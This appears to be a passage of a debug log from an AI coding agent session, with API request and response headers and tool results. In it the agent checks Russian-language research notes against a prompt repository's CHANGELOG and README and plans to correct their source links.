`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),\\n[\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n[\u0432\u0445\u043e\u0434\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0416\u0430\u043a\u043a\u0430\u0440 0.077](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md),\\n[\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts),\\n[\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0440\u043c\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md),\\n[ADR-014: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md),\\n693:  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c \u0438\u043b\u0438 golden case \u2014 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0441\u0434\u0435\u043b\u0430\u043d\u0430 \u0434\u043b\u044f \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u0438\u044f\\n730:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c: \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a\\n807:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439, \u0434\u0438\u0430\u043b\u043e\u0433 \u043e\u0431\u043e\u0440\u0432\u0430\u043d \u043d\u0430\",\n[2026-09-29T08:03:48.673Z] [INFO]         \"is_error\": false\n[2026-09-29T08:03:48.673Z] [INFO]       }\n[2026-09-29T08:03:48.673Z] [INFO]     ]\n[2026-09-29T08:03:48.673Z] [INFO]   },\n[2026-09-29T08:03:48.673Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:48.673Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:48.673Z] [INFO]   \"uuid\": \"3a3f6798-1be7-4193-9141-969b75470cbc\",\n[2026-09-29T08:03:48.673Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:48.657Z\",\n[2026-09-29T08:03:48.673Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:03:48.673Z] [INFO]     \"stdout\": \"generous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\n[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),\\n[\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n[\u0432\u0445\u043e\u0434\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0416\u0430\u043a\u043a\u0430\u0440 0.077](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md),\\n[\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts),\\n[\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0440\u043c\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md),\\n[ADR-014: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md),\\n693:  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c \u0438\u043b\u0438 golden case \u2014 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0441\u0434\u0435\u043b\u0430\u043d\u0430 \u0434\u043b\u044f \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u0438\u044f\\n730:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c: \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a\\n807:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439, \u0434\u0438\u0430\u043b\u043e\u0433 \u043e\u0431\u043e\u0440\u0432\u0430\u043d \u043d\u0430\",\n[2026-09-29T08:03:48.673Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:03:48.673Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:03:48.673Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:03:48.673Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:03:48.673Z] [INFO]   }\n[2026-09-29T08:03:48.673Z] [INFO] }\n[2026-09-29T08:03:48.769Z] [STDOUT] [log_d992cf] sending request {\n[2026-09-29T08:03:48.773Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:03:48.778Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:48.784Z] [STDOUT]   options: {\n[2026-09-29T08:03:48.796Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:03:48.802Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:03:48.810Z] [STDOUT]     body: {\n[2026-09-29T08:03:48.822Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:03:48.824Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:03:48.830Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:03:48.835Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:03:48.838Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:03:48.846Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:03:48.858Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:03:48.865Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:03:48.869Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:03:48.873Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:03:48.875Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:03:48.877Z] [STDOUT]       stream: true,\n[2026-09-29T08:03:48.882Z] [STDOUT]     },\n[2026-09-29T08:03:48.884Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:03:48.887Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:03:48.890Z] [STDOUT]       aborted: false,\n[2026-09-29T08:03:48.892Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:03:48.894Z] [STDOUT]       onabort: null,\n[2026-09-29T08:03:48.897Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:03:48.900Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:03:48.904Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:03:48.907Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:03:48.910Z] [STDOUT]     },\n[2026-09-29T08:03:48.920Z] [STDOUT]     stream: true,\n[2026-09-29T08:03:48.925Z] [STDOUT]   },\n[2026-09-29T08:03:48.938Z] [STDOUT]   headers: {\n[2026-09-29T08:03:48.941Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:03:48.943Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:48.949Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:48.955Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:48.959Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:48.962Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:48.965Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:48.972Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:03:48.974Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:03:48.979Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2067\",\n[2026-09-29T08:03:48.983Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:03:48.988Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:03:48.994Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:48.996Z] [STDOUT]     \"x-client-request-id\": \"955e525e-b6ad-42f6-a8b3-817905f2efe2\",\n[2026-09-29T08:03:49.003Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:03:49.006Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:03:49.010Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:03:49.011Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:03:49.013Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:49.023Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:49.029Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:49.034Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:49.037Z] [STDOUT]   },\n[2026-09-29T08:03:49.039Z] [STDOUT] }\n[2026-09-29T08:03:49.583Z] [STDOUT] [log_d992cf, request-id: \"req_011CfXPA8zGVFSho7Tiv3mHK\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 813ms\n[2026-09-29T08:03:49.590Z] [STDOUT] [log_d992cf] response start {\n[2026-09-29T08:03:49.594Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:49.600Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:49.605Z] [STDOUT]   headers: {\n[2026-09-29T08:03:49.608Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:49.610Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:49.615Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:49.620Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:49.630Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:49.637Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:49.641Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:49.645Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:49.654Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:49.660Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:49.663Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:49.669Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:49.675Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:49.678Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:49.689Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:49.699Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:49.708Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:49.713Z] [STDOUT]     \"cf-ray\": \"a4297935d8ac5d90-FRA\",\n[2026-09-29T08:03:49.722Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:49.737Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:49.745Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:49.750Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:49.754Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:49 GMT\",\n[2026-09-29T08:03:49.761Z] [STDOUT]     \"request-id\": \"req_011CfXPA8zGVFSho7Tiv3mHK\",\n[2026-09-29T08:03:49.768Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:49.773Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:49.777Z] [STDOUT]     traceresponse: \"00-f115b4f0cf50022764692d9eb4fdd887-eaaf26350dbbc40d-01\",\n[2026-09-29T08:03:49.782Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:49.787Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:49.791Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:49.793Z] [STDOUT]   },\n[2026-09-29T08:03:49.798Z] [STDOUT]   durationMs: 813,\n[2026-09-29T08:03:49.801Z] [STDOUT] }\n[2026-09-29T08:03:49.809Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:49.812Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:49 GMT\",\n[2026-09-29T08:03:49.836Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:49.839Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:49.848Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:49.863Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:49.868Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:49.873Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:49.879Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:49.885Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:49.888Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:49.894Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:49.896Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:49.900Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:49.903Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:49.905Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:49.907Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:49.909Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:49.920Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:49.923Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:49.931Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:49.935Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:49.938Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:49.941Z] [STDOUT]   \"request-id\": \"req_011CfXPA8zGVFSho7Tiv3mHK\",\n[2026-09-29T08:03:49.944Z] [STDOUT]   \"traceresponse\": \"00-f115b4f0cf50022764692d9eb4fdd887-eaaf26350dbbc40d-01\",\n[2026-09-29T08:03:49.951Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:49.956Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:49.960Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:49.962Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:49.963Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:49.965Z] [STDOUT]   \"cf-ray\": \"a4297935d8ac5d90-FRA\",\n[2026-09-29T08:03:49.967Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:49.969Z] [STDOUT] [log_d992cf] response parsed {\n[2026-09-29T08:03:49.971Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:49.973Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:49.974Z] [STDOUT]   body: X {\n[2026-09-29T08:03:49.976Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:49.978Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:49.980Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:49.982Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:49.983Z] [STDOUT]     },\n[2026-09-29T08:03:49.986Z] [STDOUT]     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\"subtype\": \"thinking_tokens\",\n[2026-09-29T08:03:51.022Z] [INFO]   \"estimated_tokens\": 210,\n[2026-09-29T08:03:51.022Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:03:51.022Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:51.022Z] [INFO]   \"uuid\": \"fcb20328-8584-4bf9-9da8-ab18607ae718\"\n[2026-09-29T08:03:51.022Z] [INFO] }\n[2026-09-29T08:03:51.040Z] [INFO] {\n[2026-09-29T08:03:51.040Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:51.040Z] [INFO]   \"message\": {\n[2026-09-29T08:03:51.040Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:51.040Z] [INFO]     \"id\": \"msg_011CfXPA9TYJdBC8ZRi2SAJZ\",\n[2026-09-29T08:03:51.040Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:51.040Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:51.040Z] [INFO]     \"content\": [\n[2026-09-29T08:03:51.040Z] [INFO]       {\n[2026-09-29T08:03:51.040Z] [INFO]         \"type\": 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[INFO]       }\n[2026-09-29T08:03:51.040Z] [INFO]     ],\n[2026-09-29T08:03:51.040Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:51.040Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:51.040Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:51.040Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:51.040Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:51.040Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:51.040Z] [INFO]       \"cache_creation_input_tokens\": 923,\n[2026-09-29T08:03:51.040Z] [INFO]       \"cache_read_input_tokens\": 96312,\n[2026-09-29T08:03:51.040Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:51.040Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:51.040Z] [INFO]         \"ephemeral_1h_input_tokens\": 923\n[2026-09-29T08:03:51.040Z] [INFO]       },\n[2026-09-29T08:03:51.040Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T08:03:51.040Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:03:51.040Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:03:51.040Z] [INFO]     },\n[2026-09-29T08:03:51.040Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:03:51.040Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:03:51.040Z] [INFO]     \"context_management\": null\n[2026-09-29T08:03:51.040Z] [INFO]   },\n[2026-09-29T08:03:51.040Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:51.040Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:51.040Z] [INFO]   \"uuid\": \"87e7f14c-d28d-495a-bb4f-f0a488cea992\",\n[2026-09-29T08:03:51.040Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:51.016Z\",\n[2026-09-29T08:03:51.040Z] [INFO]   \"request_id\": \"req_011CfXPA8zGVFSho7Tiv3mHK\"\n[2026-09-29T08:03:51.040Z] [INFO] }\n[2026-09-29T08:03:51.048Z] [INFO] {\n[2026-09-29T08:03:51.048Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:51.048Z] [INFO]   \"message\": {\n[2026-09-29T08:03:51.048Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:51.048Z] [INFO]     \"id\": \"msg_011CfXPA9TYJdBC8ZRi2SAJZ\",\n[2026-09-29T08:03:51.048Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:51.048Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:51.048Z] [INFO]     \"content\": [\n[2026-09-29T08:03:51.048Z] [INFO]       {\n[2026-09-29T08:03:51.048Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:03:51.048Z] [INFO]         \"text\": \"The CHANGELOG supports neither the 23-file split nor the \\\"no evals\\\" statement, since the summary says the README says that. I'll confirm and repoint the links in both documents.\"\n[2026-09-29T08:03:51.048Z] [INFO]       }\n[2026-09-29T08:03:51.048Z] [INFO]     ],\n[2026-09-29T08:03:51.048Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:51.048Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:51.048Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:51.048Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:51.048Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:51.048Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:51.048Z] [INFO]       \"cache_creation_input_tokens\": 923,\n[2026-09-29T08:03:51.048Z] [INFO]       \"cache_read_input_tokens\": 96312,\n[2026-09-29T08:03:51.048Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:51.048Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:51.048Z] [INFO]         \"ephemeral_1h_input_tokens\": 923\n[2026-09-29T08:03:51.048Z] [INFO]       },\n[2026-09-29T08:03:51.048Z] [INFO]       \"output_tokens\": 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\"Confirm evals statement in mango_ba_prompts README\"\n[2026-09-29T08:03:52.298Z] [INFO]         },\n[2026-09-29T08:03:52.298Z] [INFO]         \"caller\": {\n[2026-09-29T08:03:52.298Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:03:52.298Z] [INFO]         }\n[2026-09-29T08:03:52.298Z] [INFO]       }\n[2026-09-29T08:03:52.298Z] [INFO]     ],\n[2026-09-29T08:03:52.298Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:52.298Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:52.298Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:52.298Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:52.298Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:52.298Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:52.298Z] [INFO]       \"cache_creation_input_tokens\": 923,\n[2026-09-29T08:03:52.298Z] [INFO]       \"cache_read_input_tokens\": 96312,\n[2026-09-29T08:03:52.298Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:52.298Z] [INFO]         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{\n[2026-09-29T08:03:54.624Z] [INFO]         \"tool_use_id\": \"toolu_014Js1KWknWAJ5G9U8oChXFV\",\n[2026-09-29T08:03:54.624Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:03:54.624Z] [INFO]         \"content\": \"46:> \u0447\u0435\u043a-\u043b\u0438\u0441\u0442, evals-\u043c\u0435\u0442\u0440\u0438\u043a\u0443 \u0438\u043b\u0438 human-in-the-loop gate.\\n50:**evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442** \u2014 \u043f\u0440\u043e\u0431\u0435\u043b \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0447\u0435\u0441\u0442\u043d\u043e \u0432\",\n[2026-09-29T08:03:54.624Z] [INFO]         \"is_error\": false\n[2026-09-29T08:03:54.624Z] [INFO]       }\n[2026-09-29T08:03:54.624Z] [INFO]     ]\n[2026-09-29T08:03:54.624Z] [INFO]   },\n[2026-09-29T08:03:54.624Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:54.624Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:54.624Z] [INFO]   \"uuid\": \"831d305d-2640-40d2-893e-a9023e82b3ab\",\n[2026-09-29T08:03:54.624Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:54.615Z\",\n[2026-09-29T08:03:54.624Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:03:54.624Z] [INFO]     \"stdout\": \"46:> \u0447\u0435\u043a-\u043b\u0438\u0441\u0442, evals-\u043c\u0435\u0442\u0440\u0438\u043a\u0443 \u0438\u043b\u0438 human-in-the-loop gate.\\n50:**evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442** \u2014 \u043f\u0440\u043e\u0431\u0435\u043b 